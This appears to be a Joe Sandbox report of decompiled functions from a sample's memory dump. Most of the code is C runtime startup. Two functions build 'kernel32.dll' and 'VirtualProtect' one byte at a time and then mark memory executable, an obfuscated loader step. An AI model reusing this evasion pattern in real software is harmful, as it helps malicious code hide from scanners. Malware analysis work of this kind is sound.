Client hook allocation failure., xrefs: 0041BA95

Memory Dump Source

Source File: 0000000E.00000002.409547130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.409537880.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.409607278.0000000000440000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409647814.000000000055A000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409667552.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_B55D.jbxd

Similarity

API ID: _memset$CheckMemory__heap_alloc_base
String ID: Client hook allocation failure at file %hs line %d.$Client hook allocation failure.$Error: memory allocation: bad memory block type.$Invalid allocation size: %Iu bytes.$_CrtCheckMemory()$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 4254127243-2462871736
Opcode ID: d8bff7a2fa733bffd1155fe19b24efda4750e728aeffec732f1ebbd5b47763ad
Instruction ID: 0422fa63eea8022d5fd1d29c4c9ef7cdbacd3c20c3d11c40fe1e826193d6173d
Opcode Fuzzy Hash: d8bff7a2fa733bffd1155fe19b24efda4750e728aeffec732f1ebbd5b47763ad
Instruction Fuzzy Hash: 07A17C74A002089BDB14CF54DA95BAA77F1FF48304F20825AEA156B3D1D779AD80CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 0041B655, Relevance: 15.1, APIs: 10, Instructions: 89
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 97%

			E0041B655() {
				void* _t21;
				void* _t22;
				void* _t25;
				void* _t29;
				intOrPtr _t30;
				intOrPtr _t34;
				void* _t44;
				void* _t46;
				void* _t54;
				void* _t56;
				void* _t58;
				void* _t60;
				void* _t61;
				void* _t62;
				void* _t74;

				 *((intOrPtr*)(_t58 - 4)) = 0xfffffffe;
				 *((intOrPtr*)(_t58 - 0x6c)) = E0041B7F0();
				_t21 = E00428F80(_t46, 1); // executed
				_t61 = _t60 + 4;
				if(_t21 == 0) {
					E0041B7C0(0x1c);
					_t61 = _t61 + 4; // executed
				}
				_t22 = L00424770(_t46); // executed
				if(_t22 == 0) {
					E0041B7C0(0x10);
					_t61 = _t61 + 4;
				}
				_push(1);
				E0041DAC0(_t46);
				_t62 = _t61 + 4;
				E00428F00();
				 *((intOrPtr*)(_t58 - 4)) = 1;
				_t25 = E00426B30(); // executed
				if(_t25 < 0) {
					L00426070(_t44, _t46, _t54, _t56, 0x1b);
					_t62 = _t62 + 4;
				}
				 *0x55c984 = E00428EF0();
				 *0x55abfc = E00428E40(_t44, _t54, _t56);
				if(E00428A50() < 0) {
					L00426070(_t44, _t46, _t54, _t56, 8);
					_t62 = _t62 + 4; // executed
				}
				_t29 = E004288B0(_t44, _t54, _t56); // executed
				if(_t29 < 0) {
					L00426070(_t44, _t46, _t54, _t56, 9);
					_t62 = _t62 + 4;
				}
				_t30 = E00425F50(_t46, 1); // executed
				 *((intOrPtr*)(_t58 - 0x64)) = _t30;
				if( *((intOrPtr*)(_t58 - 0x64)) != 0) {
					L00426070(_t44,  *((intOrPtr*)(_t58 - 0x64)), _t54, _t56,  *((intOrPtr*)(_t58 - 0x64)));
				}
				 *((intOrPtr*)(_t58 - 0x68)) = E00428810();
				if(( *(_t58 - 0x34) & 0x00000001) == 0) {
					 *(_t58 - 0x7c) = 0xa;
				} else {
					 *(_t58 - 0x7c) =  *(_t58 - 0x30) & 0x0000ffff;
				}
				 *((intOrPtr*)(_t58 - 0x70)) = E00419E87( *((intOrPtr*)(_t58 - 0x68)), _t74, 0x400000, 0,  *((intOrPtr*)(_t58 - 0x68)),  *(_t58 - 0x7c));
				if( *((intOrPtr*)(_t58 - 0x6c)) == 0) {
					E00425FF0( *((intOrPtr*)(_t58 - 0x70)));
				}
				E00426030();
				 *((intOrPtr*)(_t58 - 4)) = 0xfffffffe;
				_t34 =  *((intOrPtr*)(_t58 - 0x70));
				 *[fs:0x0] =  *((intOrPtr*)(_t58 - 0x10));
				return _t34;
			}

0x0041b655
0x0041b661
0x0041b666
0x0041b66b
0x0041b670
0x0041b674
0x0041b679
0x0041b679
0x0041b67c
0x0041b683
0x0041b687
0x0041b68c
0x0041b68c
0x0041b68f
0x0041b691
0x0041b696
0x0041b699
0x0041b69e
0x0041b6a5
0x0041b6ac
0x0041b6b0
0x0041b6b5
0x0041b6b5
0x0041b6bd
0x0041b6c7
0x0041b6d3
0x0041b6d7
0x0041b6dc
0x0041b6dc
0x0041b6df
0x0041b6e6
0x0041b6ea
0x0041b6ef
0x0041b6ef
0x0041b6f4
0x0041b6fc
0x0041b703
0x0041b709
0x0041b70e
0x0041b716
0x0041b71f
0x0041b72a
0x0041b721
0x0041b725
0x0041b725
0x0041b745
0x0041b74c
0x0041b752
0x0041b752
0x0041b757
0x0041b75c
0x0041b7a4
0x0041b7aa
0x0041b7b8

APIs

_check_managed_app.LIBCMTD ref: 0041B65C
__heap_init.LIBCMTD ref: 0041B666

Part of subcall function 00428F80: HeapCreate.KERNELBASE(00000000,00001000,00000000,?,0041B66B,00000001), ref: 00428F96

_fast_error_exit.LIBCMTD ref: 0041B674

Part of subcall function 0041B7C0: ___crtExitProcess.LIBCMTD ref: 0041B7E4

_fast_error_exit.LIBCMTD ref: 0041B687
__RTC_Initialize.LIBCMTD ref: 0041B699
___crtGetEnvironmentStringsW.LIBCMTD ref: 0041B6C2
___wsetargv.LIBCMTD ref: 0041B6CC
__wsetenvp.LIBCMTD ref: 0041B6DF
__cinit.LIBCMTD ref: 0041B6F4
__wwincmdln.LIBCMTD ref: 0041B711

Memory Dump Source

Source File: 0000000E.00000002.409547130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.409537880.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.409607278.0000000000440000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409647814.000000000055A000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409667552.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_B55D.jbxd

Similarity

API ID: ___crt_fast_error_exit$CreateEnvironmentExitHeapInitializeProcessStrings___wsetargv__cinit__heap_init__wsetenvp__wwincmdln_check_managed_app
String ID:
API String ID: 3184702096-0
Opcode ID: d19e3f19ae65938c1c5b9171449bff0eba6b02fb76e464ce98838d7ad94e4172
Instruction ID: 97602310b4f2823fea4a3fcc7b5ee0624aeae819f32fdd9e241655a075af9aca
Opcode Fuzzy Hash: d19e3f19ae65938c1c5b9171449bff0eba6b02fb76e464ce98838d7ad94e4172
Instruction Fuzzy Hash: 1A3175B5E413149AEB10FBB2B90279E7270EF5430CF50412FE9195B2C2EB7955408B9F

Uniqueness

Uniqueness Score: -1.00%

Function 00426B30, Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 326
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 93%

			E00426B30() {
				void* _v8;
				signed int _v12;
				char _v20;
				intOrPtr _v28;
				struct _STARTUPINFOA _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				int _v116;
				signed char* _v120;
				void* _v124;
				void** _v128;
				void** _v132;
				int _v140;
				long _v144;
				signed int _t166;
				signed int _t170;
				signed int _t175;
				signed int _t188;
				signed int _t206;
				void** _t209;
				signed int _t321;
				void* _t322;
				intOrPtr _t323;
				void* _t324;

				_push(0xfffffffe);
				_push(0x43dea0);
				_push(E0041E7A0);
				_push( *[fs:0x0]);
				_t323 = _t322 + 0xffffff84;
				_t166 =  *0x440354; // 0x30896efa
				_v12 = _v12 ^ _t166;
				_push(_t166 ^ _t321);
				 *[fs:0x0] =  &_v20;
				_v28 = _t323;
				_v8 = 0;
				GetStartupInfoA( &_v100);
				_v8 = 0xfffffffe;
				_t170 = L0041BDF0(0x20, 0x40, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\ioinit.c", 0x88); // executed
				_t324 = _t323 + 0x14;
				_v128 = _t170;
				if(_v128 != 0) {
					 *0x55b840 = _v128;
					 *0x55b82c = 0x20;
					while(_v128 <  *0x55b840 + 0x800) {
						_v128[1] = 0;
						 *_v128 = 0xffffffff;
						_v128[1] = 0xa;
						_v128[2] = 0;
						_v128[9] = _v128[9] & 0x00000080;
						_v128[9] = _v128[9] & 0x0000007f;
						_v128[9] = 0xa;
						_v128[9] = 0xa;
						_v128[0xe] = 0;
						_v128[0xd] = 0;
						_v128 =  &(_v128[0x10]);
					}
					if((_v100.cbReserved2 & 0x0000ffff) == 0 || _v100.lpReserved2 == 0) {
						L34:
						_v112 = 0;
						while(_v112 < 3) {
							_v128 = (_v112 << 6) +  *0x55b840;
							if( *_v128 == 0xffffffff ||  *_v128 == 0xfffffffe) {
								_v128[1] = 0x81;
								if(_v112 != 0) {
									asm("sbb edx, edx");
									_v144 =  ~(_v112 - 1) + 0xfffffff5;
								} else {
									_v144 = 0xfffffff6;
								}
								_v124 = GetStdHandle(_v144);
								if(_v124 == 0xffffffff || _v124 == 0) {
									L52:
									_v128[1] = _v128[1] | 0x00000040;
									 *_v128 = 0xfffffffe;
									goto L53;
								} else {
									_v108 = GetFileType(_v124);
									if(_v108 == 0) {
										goto L52;
									} else {
										 *_v128 = _v124;
										if((_v108 & 0x000000ff) != 2) {
											if((_v108 & 0x000000ff) == 3) {
												_v128[1] = _v128[1] | 0x00000008;
											}
										} else {
											_v128[1] = _v128[1] | 0x00000040;
										}
										_t188 = E0042C150( &(_v128[3]), 0xfa0);
										_t324 = _t324 + 8;
										if(_t188 != 0) {
											_v128[2] = _v128[2] + 1;
											L53:
											goto L55;
										} else {
											_t175 = _t188 | 0xffffffff;
										}
									}
								}
							} else {
								_v128[1] = _v128[1] | 0x00000080;
								L55:
								_v112 = _v112 + 1;
								continue;
							}
							goto L57;
						}
						SetHandleCount( *0x55b82c);
						_t175 = 0;
					} else {
						_v116 =  *(_v100.lpReserved2);
						_v120 = _v100.lpReserved2 + 4;
						_v132 =  &(_v120[_v116]);
						if(_v116 >= 0x800) {
							_v140 = 0x800;
						} else {
							_v140 = _v116;
						}
						_v116 = _v140;
						_v104 = 1;
						while( *0x55b82c < _v116) {
							_t209 = L0041BDF0(0x20, 0x40, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\ioinit.c", 0xc0);
							_t324 = _t324 + 0x14;
							_v128 = _t209;
							if(_v128 != 0) {
								 *((intOrPtr*)(0x55b840 + _v104 * 4)) = _v128;
								 *0x55b82c =  *0x55b82c + 0x20;
								while(_v128 <  *((intOrPtr*)(0x55b840 + _v104 * 4)) + 0x800) {
									_v128[1] = 0;
									 *_v128 = 0xffffffff;
									_v128[1] = 0xa;
									_v128[2] = 0;
									_v128[9] = _v128[9] & 0x00000080;
									_v128[9] = 0xa;
									_v128[9] = 0xa;
									_v128[0xe] = 0;
									_v128[0xd] = 0;
									_v128 =  &(_v128[0x10]);
								}
								_v104 = _v104 + 1;
								continue;
							} else {
								_v116 =  *0x55b82c;
							}
							break;
						}
						_v112 = 0;
						while(_v112 < _v116) {
							if( *_v132 == 0xffffffff ||  *_v132 == 0xfffffffe || ( *_v120 & 0x00000001) == 0 || ( *_v120 & 0x00000008) == 0 && GetFileType( *_v132) == 0) {
								L33:
								_v112 = _v112 + 1;
								_v120 =  &(_v120[1]);
								_v132 =  &(_v132[1]);
								continue;
							} else {
								_v128 = ((_v112 & 0x0000001f) << 6) +  *((intOrPtr*)(0x55b840 + (_v112 >> 5) * 4));
								 *_v128 =  *_v132;
								_v128[1] =  *_v120;
								_t206 = E0042C150( &(_v128[3]), 0xfa0);
								_t324 = _t324 + 8;
								if(_t206 != 0) {
									_v128[2] =  *((intOrPtr*)(_v128 + 8)) + 1;
									goto L33;
								} else {
									_t175 = _t206 | 0xffffffff;
								}
							}
							goto L57;
						}
						goto L34;
					}
				} else {
					_t175 = _t170 | 0xffffffff;
				}
				L57:
				 *[fs:0x0] = _v20;
				return _t175;
			}

0x00426b35
0x00426b37
0x00426b3c
0x00426b47
0x00426b48
0x00426b4e
0x00426b53
0x00426b58
0x00426b5c
0x00426b62
0x00426b65
0x00426b70
0x00426b76
0x00426bbb
0x00426bc0
0x00426bc3
0x00426bca
0x00426bd7
0x00426bdd
0x00426bf2
0x00426c04
0x00426c0b
0x00426c14
0x00426c1b
0x00426c2d
0x00426c3b
0x00426c41
0x00426c48
0x00426c4f
0x00426c59
0x00426bef
0x00426bef
0x00426c65
0x00426e63
0x00426e63
0x00426e75
0x00426e8b
0x00426e94
0x00426ea5
0x00426ead
0x00426ec3
0x00426ec8
0x00426eaf
0x00426eaf
0x00426eaf
0x00426edb
0x00426ee2
0x00426f79
0x00426f86
0x00426f8c
0x00000000
0x00426ef2
0x00426efc
0x00426f03
0x00000000
0x00426f05
0x00426f0b
0x00426f19
0x00426f39
0x00426f48
0x00426f48
0x00426f1b
0x00426f28
0x00426f28
0x00426f57
0x00426f5c
0x00426f61
0x00426f74
0x00426f92
0x00000000
0x00426f63
0x00426f63
0x00426f63
0x00426f61
0x00426f03
0x00426f94
0x00426fa3
0x00426fa6
0x00426e72
0x00000000
0x00426e72
0x00000000
0x00426e94
0x00426fb2
0x00426fb8
0x00426c75
0x00426c7a
0x00426c83
0x00426c8c
0x00426c96
0x00426ca3
0x00426c98
0x00426c9b
0x00426c9b
0x00426cb3
0x00426cb6
0x00426cc8
0x00426ce7
0x00426cec
0x00426cef
0x00426cf6
0x00426d0b
0x00426d1a
0x00426d2a
0x00426d41
0x00426d48
0x00426d51
0x00426d58
0x00426d6a
0x00426d70
0x00426d77
0x00426d7e
0x00426d88
0x00426d27
0x00426d27
0x00426cc5
0x00000000
0x00426cf8
0x00426cfd
0x00426cfd
0x00000000
0x00426cf6
0x00426d93
0x00426db7
0x00426dc9
0x00426e5e
0x00426da2
0x00426dab
0x00426db4
0x00000000
0x00426e01
0x00426e17
0x00426e22
0x00426e2c
0x00426e3b
0x00426e40
0x00426e45
0x00426e5b
0x00000000
0x00426e47
0x00426e47
0x00426e47
0x00426e45
0x00000000
0x00426dc9
0x00000000
0x00426db7
0x00426bcc
0x00426bcc
0x00426bcc
0x00426fba
0x00426fbd
0x00426fcb

APIs

GetStartupInfoA.KERNEL32(?), ref: 00426B70
GetFileType.KERNEL32(?), ref: 00426DF7

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\ioinit.c, xrefs: 00426BB0, 00426CDC

Memory Dump Source

Source File: 0000000E.00000002.409547130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.409537880.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.409607278.0000000000440000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409647814.000000000055A000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409667552.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_B55D.jbxd

Similarity

API ID: FileInfoStartupType
String ID: f:\dd\vctools\crt_bld\self_x86\crt\src\ioinit.c
API String ID: 3016745765-4097262939
Opcode ID: f907addb38a3e9d49572cb54471597ea97687b6316b8e54f1c252146ec8a5297
Instruction ID: 653dfb5c99fd2f0e786f6600d94cf1f24ea5fe25dd24287fdc47b6b9c3593722
Opcode Fuzzy Hash: f907addb38a3e9d49572cb54471597ea97687b6316b8e54f1c252146ec8a5297
Instruction Fuzzy Hash: 7FE13874E04218CFDB24CFA8D894BADFBB1BB49314F65825ED8256B392C7349846CF85

Uniqueness

Uniqueness Score: -1.00%

Function 0041BD2E, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 42%

			E0041BD2E(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _t25;
				intOrPtr _t28;
				intOrPtr _t29;
				void* _t34;
				void* _t35;
				void* _t36;
				intOrPtr _t38;
				void* _t46;
				void* _t47;
				void* _t48;
				void* _t50;

				_t47 = __esi;
				_t46 = __edi;
				_t36 = __ecx;
				_t35 = __ebx;
				asm("sbb eax, eax");
				_t25 = 0xffffffe0 /  *(_t48 + 8) + 1;
				 *((intOrPtr*)(_t48 - 8)) = _t25;
				if(_t25 == 0) {
					_push(L"(_HEAP_MAXREQ / nNum) >= nSize");
					_push(0);
					_push(0x248);
					_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgheap.c");
					_push(2);
					_t34 = L0041E330();
					_t50 = _t50 + 0x14;
					if(_t34 == 1) {
						asm("int3");
					}
				}
				if( *((intOrPtr*)(_t48 - 8)) != 0) {
					 *(_t48 + 0xc) =  *(_t48 + 0xc) *  *(_t48 + 8);
					_t38 =  *0x55ada0; // 0x0
					_t28 = L0041B900(_t38,  *(_t48 + 0xc), _t38,  *((intOrPtr*)(_t48 + 0x10)),  *((intOrPtr*)(_t48 + 0x14)),  *((intOrPtr*)(_t48 + 0x18)),  *((intOrPtr*)(_t48 + 0x1c))); // executed
					 *((intOrPtr*)(_t48 - 4)) = _t28;
					if( *((intOrPtr*)(_t48 - 4)) != 0) {
						E0041B4C0(_t46,  *((intOrPtr*)(_t48 - 4)), 0,  *(_t48 + 0xc));
					}
					_t29 =  *((intOrPtr*)(_t48 - 4));
				} else {
					 *((intOrPtr*)(L00422E20(_t36))) = 0xc;
					E00422BB0(_t35, _t36, _t46, _t47, L"(_HEAP_MAXREQ / nNum) >= nSize", L"_calloc_dbg_impl", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgheap.c", 0x248, 0);
					_t29 = 0;
				}
				return _t29;
			}

0x0041bd2e
0x0041bd2e
0x0041bd2e
0x0041bd2e
0x0041bd3b
0x0041bd3d
0x0041bd40
0x0041bd43
0x0041bd45
0x0041bd4a
0x0041bd4c
0x0041bd51
0x0041bd56
0x0041bd58
0x0041bd5d
0x0041bd63
0x0041bd65
0x0041bd65
0x0041bd63
0x0041bd6a
0x0041bda0
0x0041bdb3
0x0041bdbe
0x0041bdc6
0x0041bdcd
0x0041bdd9
0x0041bdde
0x0041bde1
0x0041bd6c
0x0041bd71
0x0041bd8d
0x0041bd95
0x0041bd95
0x0041bde7

APIs

__invalid_parameter.LIBCMTD ref: 0041BD8D
_memset.LIBCMT ref: 0041BDD9

Strings

_calloc_dbg_impl, xrefs: 0041BD83
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041BD51, 0041BD7E
(_HEAP_MAXREQ / nNum) >= nSize, xrefs: 0041BD45, 0041BD88

Memory Dump Source

Source File: 0000000E.00000002.409547130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.409537880.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.409607278.0000000000440000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409647814.000000000055A000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409667552.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_B55D.jbxd

Similarity

API ID: __invalid_parameter_memset
String ID: (_HEAP_MAXREQ / nNum) >= nSize$_calloc_dbg_impl$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 3961059608-1805389939
Opcode ID: d99e891b72dfb6da2a7e15f5828529be892413066307b77d84ecb65a07e6860b
Instruction ID: bbc925311f9f4f428876c0aaed4806f6efe3923b0e0822df1636c80b9470eeca
Opcode Fuzzy Hash: d99e891b72dfb6da2a7e15f5828529be892413066307b77d84ecb65a07e6860b
Instruction Fuzzy Hash: 0711B6B5B40208BBCB14DF94DD46FDE3364EB58704F20815AF908AB2C1D7B8EA40CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00419B36, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39
librarymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 67%

			E00419B36(intOrPtr* __edx) {
				struct HINSTANCE__* _t1;
				int _t3;
				void* _t5;

				_push("VirtualProtect");
				"VirtualProtect" = 0x6b;
				"irtualProtect" = 0x65;
				"rtualProtect" = 0x72;
				"rotect" = 0x2e;
				 *0x441771 = 0x64;
				 *0x441772 = 0x6c;
				 *0x441774 = 0;
				M0044176B = 0x6e;
				M0044176C = 0x65;
				M0044176D = 0x6c;
				M0044176E = 0x33;
				M0044176F = 0x32;
				_pop(ss);
				 *__edx =  *__edx + __edx;
				 *0x441773 = 0x65; // executed
				_t1 = LoadLibraryA(??); // executed
				 *0x5547dc = _t1;
				 *0x441776 = 0;
				M0044176F = 0x50;
				M0044176D = 0x61;
				 *0x441771 = 0x6f;
				 *0x441775 = 0x74;
				M0044176C = 0x75;
				M0044176E = 0x6c;
				 *0x441774 = 0x63;
				M0044176B = 0x74;
				 *0x441772 = 0x74;
				"rtualProtect" = 0x72;
				"VirtualProtect" = 0x56;
				"rotect" = 0x72;
				"irtualProtect" = 0x69; // executed
				_t3 = VirtualProtect( *0x453940,  *0x55abe4, 0x40, _t5 + 1); // executed
				return _t3;
			}

0x00419b37
0x00419b3c
0x00419b43
0x00419b4a
0x00419b51
0x00419b58
0x00419b5f
0x00419b66
0x00419b6d
0x00419b74
0x00419b7b
0x00419b82
0x00419b89
0x00419b8c
0x00419b8e
0x00419b90
0x00419b97
0x00419b9d
0x00419bae
0x00419bbb
0x00419bc2
0x00419bc9
0x00419bd0
0x00419bd7
0x00419bde
0x00419be5
0x00419bec
0x00419bf3
0x00419bfa
0x00419c01
0x00419c08
0x00419c0f
0x00419c16
0x00419c1d

APIs

LoadLibraryA.KERNELBASE(VirtualProtect), ref: 00419B97
VirtualProtect.KERNELBASE(00000040,00000000), ref: 00419C16

Strings

VirtualProtect, xrefs: 00419B37

Memory Dump Source

Source File: 0000000E.00000002.409547130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.409537880.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.409607278.0000000000440000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409647814.000000000055A000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409667552.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_B55D.jbxd

Similarity

API ID: LibraryLoadProtectVirtual
String ID: VirtualProtect
API String ID: 3279857687-268857135
Opcode ID: de344d4a080e56a9ded67bdb0626d509b2d0f64f8a775e90f202a3e662c71461
Instruction ID: 2fcbfe794da57f3ecd4e0552fa92b34eae4c3e2dade8687ecbbc7c313487ee15
Opcode Fuzzy Hash: de344d4a080e56a9ded67bdb0626d509b2d0f64f8a775e90f202a3e662c71461
Instruction Fuzzy Hash: DC211A6854C7C0C9E302A738EE187453E969323769F1841A991951A2B2C7FB21A8CB3E

Uniqueness

Uniqueness Score: -1.00%

Function 0041B91F, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0041B91F(intOrPtr __eax, void* __ecx) {
				intOrPtr _t20;
				void* _t27;

				L0:
				while(1) {
					L0:
					 *((intOrPtr*)(_t27 - 4)) = __eax;
					if( *((intOrPtr*)(_t27 - 4)) != 0) {
						break;
					}
					L3:
					if( *((intOrPtr*)(_t27 + 0xc)) != 0) {
						L5:
						if(E00429300(__ecx,  *((intOrPtr*)(_t27 + 8))) != 0) {
							L7:
							L1:
							L0041B970( *((intOrPtr*)(_t27 + 8)),  *((intOrPtr*)(_t27 + 0x10)),  *((intOrPtr*)(_t27 + 0x14)),  *((intOrPtr*)(_t27 + 0x18)),  *((intOrPtr*)(_t27 + 0x1c)));
							continue;
						} else {
							L6:
							 *((intOrPtr*)( *((intOrPtr*)(_t27 + 0x1c)))) = 0xc;
							_t20 = 0;
						}
					} else {
						L4:
						 *((intOrPtr*)( *((intOrPtr*)(_t27 + 0x1c)))) = 0xc;
						_t20 =  *((intOrPtr*)(_t27 - 4));
					}
					L8:
					return _t20;
					L9:
				}
				L2:
				_t20 =  *((intOrPtr*)(_t27 - 4));
				goto L8;
			}

0x0041b91f
0x0041b91f
0x0041b91f
0x0041b922
0x0041b929
0x00000000
0x00000000
0x0041b930
0x0041b934
0x0041b944
0x0041b952
0x0041b961
0x0041b906
0x0041b91a
0x00000000
0x0041b954
0x0041b954
0x0041b957
0x0041b95d
0x0041b95d
0x0041b936
0x0041b936
0x0041b939
0x0041b93f
0x0041b93f
0x0041b963
0x0041b966
0x00000000
0x0041b966
0x0041b92b
0x0041b92b
0x00000000

Strings

QQ, xrefs: 0041B919

Memory Dump Source

Source File: 0000000E.00000002.409547130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.409537880.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.409607278.0000000000440000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409647814.000000000055A000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409667552.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_B55D.jbxd

Similarity

API ID:
String ID: QQ
API String ID: 0-3460843698
Opcode ID: 75285a33f3e3a8226227495b54544be31729fa98091c7b21b9d872baf7ad745d
Instruction ID: f50bbd84771f93eb08f2d7bc12f05d40aaaa4164654149748115de98c46a8a4c
Opcode Fuzzy Hash: 75285a33f3e3a8226227495b54544be31729fa98091c7b21b9d872baf7ad745d
Instruction Fuzzy Hash: 0201F6F5A14209EBDB04CF58D980BEA73A4EB48304F10815AFE0997250D738EE92DB95

Uniqueness

Uniqueness Score: -1.00%

Function 00419B8C, Relevance: 3.0, APIs: 2, Instructions: 28
librarymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 69%

			E00419B8C(intOrPtr* __edx) {
				struct HINSTANCE__* _t1;
				int _t3;
				void* _t6;

				_pop(ss);
				 *__edx =  *__edx + __edx;
				 *0x441773 = 0x65; // executed
				_t1 = LoadLibraryA(??); // executed
				 *0x5547dc = _t1;
				 *0x441776 = 0;
				M0044176F = 0x50;
				M0044176D = 0x61;
				 *0x441771 = 0x6f;
				 *0x441775 = 0x74;
				M0044176C = 0x75;
				M0044176E = 0x6c;
				 *0x441774 = 0x63;
				M0044176B = 0x74;
				 *0x441772 = 0x74;
				"rtualProtect" = 0x72;
				"VirtualProtect" = 0x56;
				"rotect" = 0x72;
				"irtualProtect" = 0x69; // executed
				_t3 = VirtualProtect( *0x453940,  *0x55abe4, 0x40, _t6 + 1); // executed
				return _t3;
			}

0x00419b8c
0x00419b8e
0x00419b90
0x00419b97
0x00419b9d
0x00419bae
0x00419bbb
0x00419bc2
0x00419bc9
0x00419bd0
0x00419bd7
0x00419bde
0x00419be5
0x00419bec
0x00419bf3
0x00419bfa
0x00419c01
0x00419c08
0x00419c0f
0x00419c16
0x00419c1d

APIs

LoadLibraryA.KERNELBASE(VirtualProtect), ref: 00419B97
VirtualProtect.KERNELBASE(00000040,00000000), ref: 00419C16

Memory Dump Source

Source File: 0000000E.00000002.409547130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.409537880.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.409607278.0000000000440000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409647814.000000000055A000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409667552.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_B55D.jbxd

Similarity

API ID: LibraryLoadProtectVirtual
String ID:
API String ID: 3279857687-0
Opcode ID: 66ebad453b0597063eaa389c463b5873182f58aef1d1bb86864fa0a853e6356c
Instruction ID: 6be70ee7c8df4a0f4661fd5e6f109304272bb690d6a8c23fb6b089f12e46625b
Opcode Fuzzy Hash: 66ebad453b0597063eaa389c463b5873182f58aef1d1bb86864fa0a853e6356c
Instruction Fuzzy Hash: EA01922840C3C0CDE302E778EE087413F96D727759F0801A9D1D51A2B2C7BA21A8CB3E

Uniqueness

Uniqueness Score: -1.00%

Function 009660F9, Relevance: 1.5, APIs: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Module32First.KERNEL32(00000000,00000224), ref: 00966141

Memory Dump Source

Source File: 0000000E.00000002.409983633.0000000000961000.00000040.00000001.sdmp, Offset: 00961000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_961000_B55D.jbxd

Similarity

API ID: FirstModule32
String ID:
API String ID: 3757679902-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: d7dfc57888489b4f7aec3e93f9077022f1e616adc0810c19816b6bdc6d73ac4f
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 0EF096325007156FD7203BF9988DB6EB6ECAF4A724F51052CF657911C1DB70EC454A61

Uniqueness

Uniqueness Score: -1.00%

Function 00424650, Relevance: 1.5, APIs: 1, Instructions: 8
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00424650() {
				void* _t1;

				_t1 = E00424580(0); // executed
				return _t1;
			}

0x00424657
0x00424660

APIs

__encode_pointer.LIBCMTD ref: 00424657

